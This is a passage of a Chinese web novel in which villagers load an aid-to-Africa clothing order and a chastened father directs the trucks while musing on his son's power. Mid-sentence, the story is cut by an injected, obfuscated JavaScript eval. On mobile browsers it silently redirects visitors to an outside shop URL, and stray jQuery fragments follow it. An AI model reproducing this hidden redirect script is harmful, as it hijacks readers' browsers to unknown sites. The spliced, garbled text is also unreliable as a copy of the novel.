郑鹤鸣他们走的第二天，天还没亮透，红星村的大喇叭就响了。
“各位社员同志们注意了，今天援非订单装车，需要壮劳力的到东头车间集合，一天三块钱，管两顿饭，有窝头有肉。”
王大雷的声音从大喇叭里飘出来，尾音还拖得老长。
喊完之后他自己都笑了一下，扭头对旁边摇发电机的老李头说：“这嗓子，比公社广播员还带劲。”
老李头哼了一声：“你就臭美吧。”
村里的男人们听到喇叭响，扒拉两口粥就往东头跑。
三块钱一天，还管两顿饭有肉，这活儿搁半年前打着灯笼都找不着。
徐胜从家里出来的时候，顾怀柔在门口给他系围巾。
念安在她怀里睡得正香，小嘴一嘬一嘬的。
“今天几点能回来？”顾怀柔问。
“装车得一整天，晚上还得点钞。”
徐胜低头亲了亲儿子的额头，“你别等我，先睡。”
“知道了。”顾怀柔把他领口又拉了拉，“外头风大。”
徐胜刚走到胡同口，就看见王大雷背着手往这边溜达。
王大雷穿了一件深蓝的中山装，扣子扣得一丝不苟，头发也用水抹得溜光，看着比平时正经了三分。
“胜子，我这一身怎么样？”王大雷两手一摊。
“你这是要去相亲？”
“去你的。”王大雷一边走一边说，“我这不是想着，今天装车动静大，村里得有个村长的样子嘛。”
“你就臭美吧。”徐胜笑了一声，“走，先去东头看看。”
……
东头车间门口已经堆起了小山。
木箱一个挨着一个码在场地上，每个箱子上都刷着红漆写的编号，从001一直到100。
箱子外面还贴着两张纸条，一张写着“红光服装厂”，一张写着“中国援助”，两张纸条中间盖着郑鹤鸣他们那天带来的红章。
沈红霞穿着一件灰色的工装外套，头发用一根皮筋扎在脑后，眼圈还是黑的，但是精神很足。
她手里拿着一个小本子，一边点着数一边跟徐胜汇报。
“一共一百箱，每箱一百件，正好一万件。”
沈红霞指着场地，“我按郑老的意思，把带暗纹红星的那批放在1到20号箱里，单独出仓。”
“箱子里防潮做了吗？”徐胜问。
“底下垫了油纸，四周还塞了报纸，绝对不受潮。”沈红霞把本子往怀里一夹，“我昨天晚上亲自看着装的。”
徐胜点了点头：“辛苦你了。”
沈红霞摆摆手：“这有啥辛苦的。我说徐厂长，你把话说到这份上，我脸都要红了。”
王大雷在旁边插嘴：“红霞妹子，你这一夜没睡，脸能不红吗？”
“王村长你别贫。”
沈红霞白了他一眼。
正说着，村口那边就响了。
两声长长的喇叭声，像是老水牛在叫。
大解放来了。
两辆军绿色的大解放开在最前面，车头擦得锃亮，玻璃干净得能照出人影。
后面跟着三辆手扶拖拉机，“突突突”地冒着黑烟，声音比大解放还响。
刘大柱开着头车，把车稳稳地停在场地边上，探出脑袋喊：“胜哥，位置在哪儿？”
“往里倒，倒到装车台那边。”徐胜指了指。
“哎。”
刘大柱刚要挂倒挡，就见徐草根从传达室那边小跑着出来了。
老头今天穿着一身宽大的旧工作服，是运输队淘汰下来的，袖口卷了三道还是长。
腰上系着一根麻绳，脚上一双旧胶鞋，鞋帮子都磨白了。
他手里拿着一根短竹竿，一路小跑到大解放后面，站定了。
“往左！往左打！方向盘往左！”
徐草根的嗓子有点哑，但是喊得挺卖力。
他的手在空中挥来挥去，一会儿画个圈，一会儿指个方向。
他原本觉得自己这辈子算是栽在老大手心里了，可这几天待在传达室，他这脑瓜子转得比风车还快。
徐草根偷偷瞄了一眼远处的徐胜，心里直打鼓：“我以前真是猪油蒙了心，怎么就觉得老大是个好揉捏的软柿子？
你看这阵仗，省里的领导跟供销社的头头见了他，都得客客气气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747437|208959||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
递烟。
我再跟这种人硬碰硬，那不是老寿星吃**活腻歪了吗？”
他现在想明白了，这叫识时务者为俊杰。
老大虽然狠，但只要不触他逆鳞，那是真给活路啊。
一个月十五块，管吃管住，还是这种体面的活儿，村里谁不红眼？再说了，老大到底是亲生的，虽然嘴上说断亲，可真要把他往死里整，那天派出所陈所长那儿就该直接判了。
“老大这是有情有义啊，放我一马，我得接住喽。”
徐草根心里嘀咕着，手上的动作更卖力了。
刘大柱在车里看后视镜，愣了一下，扭头喊：“胜哥，这……”
“让他指，你按他说的倒。”徐胜背着手站在一边。
刘大柱“哦”了一声，跟着老头的手势倒。
徐草根还挺认真，一会儿蹲下去看车轮子，一会儿绕到车尾看有没有蹭到东西，脸上都是汗。
倒了一半，第二辆大解放也过来了，赵小明在车里探头：“草根叔，我这个呢？”
“你等着！让我先把这辆停好！”
徐草根头也不回地喊。
赵小明就在车里等着，一点儿脾气都没有。
徐胜站在一边看着，没说话。旁边的王大雷凑过来，压低了声音：“你这爹，还真上道了。”
“识时务。”徐胜嘴角动了动，“这人吧，你别指望他真心悔改，他就是知道现在得听话。”
“听话就行，不用他真心。”
王大雷“啧”了一声：“你这话说得，够冷。”
“实在。”
徐草根把两辆大解放都指挥到位之后，又跑回传达室拿了一个本子出来。
徐胜眼尖，一眼就看见那本子的封皮上写着“车辆进出登记”。
老头子把本子摊在传达室的窗台上，从耳朵上摘下半截铅笔——那铅笔已经削得只剩下两指长了，然后趴在窗台上一笔一划地写。
徐胜走过去看了一眼。
本子上写得歪歪扭扭的，字也认不全，还有几个是画的圈圈。
第一行写着“大解放两辆”，后面画了两个圈，圈里各点了一个点。